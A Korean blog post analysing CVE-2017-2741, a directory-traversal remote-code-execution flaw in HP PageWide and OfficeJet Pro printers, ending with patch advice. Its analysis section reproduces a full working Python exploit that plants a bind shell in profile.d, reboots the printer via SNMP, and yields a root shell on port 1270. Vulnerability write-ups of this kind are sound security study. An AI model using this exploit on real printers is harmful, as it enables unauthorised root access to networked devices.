( 1 ) 취약점 정의
2017년 04월 HP PageWide 프린터 및 HP OfficeJet Pro 프린터의 원격코드 실행 취약점을 HP 홈페이지에 게시됨.
링크 : https://support.hp.com/lt-en/document/c05462914
CVSS 9.8 점수(심각) 등급으로 CVE-2017-2741 명명하였으며 HP PageWide 및 Officejet Pro 프린터 1708D 이전 펌웨어를 대상으로 PJT(Printer Job Language) FSDIRLIST 명령어의 디렉토리 순회 경로(Directory Traversal Attack)를 이용한 원격코드 실행 취약점임.
( 2 ) 취약점 분석
취약한 HP 프린터 제품의 9100 포트는 인쇄 서비스 포트로 원본 인쇄 서비스를 지원하는 것 외에도 PCL, PostScript 및 PJT 인쇄 언어도 지원함.
아래는 취약한 제품과 패치된 제품에 PJT(Printer Job Language) FSDIRLIST 명령어의 디렉토리 순회 경로(Directory Traversal Attack)를 입력 시 결과값 출력한 화면임.
취약한 제품에서는 민감한 디렉토리 정보가 노출되지만 패치된 제품에서는 FILEERROR 오류가 발생함.
albinolobster@ubuntu:~$ nc
192.168.1.158 9100 @PJL FSDIRLIST
NAME="0:/../../" ENTRY=1 COUNT=1024 @PJL FSDIRLIST
NAME="0:/../../" ENTRY=1 rw/ TYPE=DIR ram/ TYPE=DIR rom/ TYPE=DIR .sig/ TYPE=DIR |
< 취약한 제품 >
albinolobster@ubuntu:~$ nc
192.168.1.159 9100 @PJL FSDIRLIST
NAME="0:/../../" ENTRY=1 COUNT=1024 @PJL FSDIRLIST
NAME="0:/../../" FILEERROR=0 |
< 패치된 제품 >
디렉토리 순회 경로(Directory Traversal Attack)을 이용한 원격코드 실행을 하기 위해서는 FSQUERY, FSUPLOAD 및 FSDOWNLOAD 와 같은 몇 가지 PJL 명령을 알아야 함.
이 3개의 명령어는 사용자에게 프린터 파일 시스템에 액세스할 수 있는 읽기 및 쓰기(r/w) 권한을 부여함.
또한, /../../rw/var/etc/profile.d 폴더는 시스템이 시작될 때 실행되는 스크립트 폴더로 해당 위치에 악의적인 코드을 작성한 후 생성시켜야 함.
그리고 실행 스크립트를 작성하고 프린터를 재시작해야만 스크립트 실행이 되며 쉘 액세스 권한을 부여됨.
아래 PoC 코드는 시스템 시작 실행 스크립트를 profile.d 폴더에 작성 생성한 후 시스템 재시작하여 쉘 접속을 하는 코드임.
## # Create a bind shell on an unpatched
OfficeJet 8210 # Write a script to profile.d and
reboot the device. When it comes # back online then nc to port 1270. # # easysnmp instructions: # sudo apt-get install libsnmp-dev # pip install easysnmp ##
import socket import sys from easysnmp import snmp_set
profile_d_script = ('if [ ! -p
/tmp/pwned ]; then\n' '\tmkfifo /tmp/pwned\n' '\tcat /tmp/pwned |
/bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &\n 'fi\n')
if len(sys.argv) != 3:
print '\nUsage:upload.py [ip] [port]\n'
sys.exit()
sock = socket.socket(socket.AF_INET,
socket.SOCK_STREAM) sock.settimeout(2) server_address = (sys.argv[1],
int(sys.argv[2])) print 'connecting to %s port %s' %
server_address sock.connect(server_address)
dir_query = '@PJL FSDOWNLOAD
FORMAT:BINARY SIZE=' + str(len(profile_d_script)) + '
NAME="0:/../../rw/var/etc/profile.d/lol.sh"\r\n' dir_query += profile_d_script dir_query += '\x1b%-12345X' sock.sendall(dir_query) sock.close()
sock1 = socket.socket(socket.AF_INET,
socket.SOCK_STREAM) sock1.connect(server_address) dir_query = '@PJL FSQUERY
NAME="0:/../../rw/var/etc/profile.d/lol.sh"\r\n' sock1.sendall(dir_query)
response = '' while True:
data = sock1.recv(1)
if '\n' == data: break
response += data
print response snmp_set('.1.3.6.1.2.1.43.5.1.1.3.1',
4, 'integer', hostname='192.168.1.158', community='public', version=1) print 'Done! Try port 1270 in ~30
seconds' |
스크립트가 실행하면 약 30초 후에 포트 1270을 통해 루트 쉘이 생성됨.
albinolobster@ubuntu:~$ python
printer_exploit.py 192.168.1.158 9100 connecting to 192.168.1.158 port 9100 @PJL FSQUERY
NAME="0:/../../rw/var/etc/profile.d/lol.sh" TYPE=FILE SIZE=119 Done! Try port 1270 in ~30 seconds albinolobster@ubuntu:~$ nc
192.168.1.158 1270 whoami root |
( 3 ) 취약점 방어
HP 사에서 제공하는 취약점 패치 관련 펌웨어 업데이트(OJ8210_R1709A.exe)를 실시함.
링크 :
참고 사이트 :
https://www.cvedetails.com/cve/CVE-2017-2741/
https://support.hp.com/us-en/document/c05462914
http://4hou.win/wordpress/?paged=17&m=201706
https://www.nds.rub.de/media/ei/arbeiten/2017/01/30/exploiting-printers.pdf
https://www.tenable.com/blog/rooting-a-printer-from-security-bulletin-to-remote-code-execution
https://en.wikipedia.org/wiki/Printer_Job_Language
https://developers.hp.com/system/files/PJL_Technical_Reference_Manual.pdf
============================================================
본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.
댓글 없음:
댓글 쓰기